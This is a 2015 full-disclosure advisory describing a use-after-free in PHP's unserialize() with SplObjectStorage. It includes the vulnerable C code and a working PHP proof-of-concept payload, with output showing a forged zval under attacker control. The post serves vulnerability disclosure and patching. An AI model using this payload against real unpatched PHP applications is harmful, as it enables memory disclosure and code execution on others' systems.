full-disclosure - [FD] Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage

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Date: Sat, 5 Sep 2015 10:21:09 +0800
From: Taoguang Chen <taoguangchen@...il.com>
To: fulldisclosure <fulldisclosure@...lists.org>
Subject: [FD] Yet Another Use After Free Vulnerability in unserialize() with
	SplObjectStorage

#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.8.27 - Release Date: 2015.9.4

> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
		ALLOC_INIT_ZVAL(pentry);
		if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			zval_ptr_dtor(&pentry);
			goto outexcept;
		}
		if(Z_TYPE_P(pentry) != IS_OBJECT) {
			goto outexcept;
		}
		ALLOC_INIT_ZVAL(pinf);
		if (*p == ',') { /* new version has inf */
			++p;
			if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
				zval_ptr_dtor(&pinf);
				goto outexcept;
			}
		}
```

It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.

```
<?php

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
  [3]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  [4]=>
  string(24) "?v?B????"
}
```

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